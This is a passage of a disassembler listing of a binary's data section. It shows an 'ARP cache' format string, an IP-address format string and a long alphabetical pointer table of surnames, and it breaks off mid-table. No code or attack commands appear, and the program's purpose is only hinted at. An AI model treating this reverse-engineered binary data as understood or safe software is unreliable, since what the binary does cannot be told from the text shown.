ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AB6A+46o ; sub_40BEFB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_4341DC dd 0 off_4341E0 dd offset sub_40AC10 ; DATA XREF: sub_40AFA5+49r aConst db 'const',0 align 10h dd 1, 40AC7Ch, 7474656Ch, 7265h, 0 dd 2, 40ACDAh, 706D6F63h, 2 dup(0) dd 3, 40AD27h, 6E756F63h, 797274h, 0 dd 4, 40ADC5h, 736Fh, 2 dup(0) dd 5, 40AE3Ah off_434248 dd offset aAbdulrazak ; DATA XREF: sub_40AC10+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_434254 dd offset aAddison ; DATA XREF: sub_40AFA5+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison_0 ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner_0 ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook_0 ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles_0 ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField_0 ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield_0 ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson_0 ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood_0 ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker_0 ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry_0 ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight_0 ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda_0 ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick_0 ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd 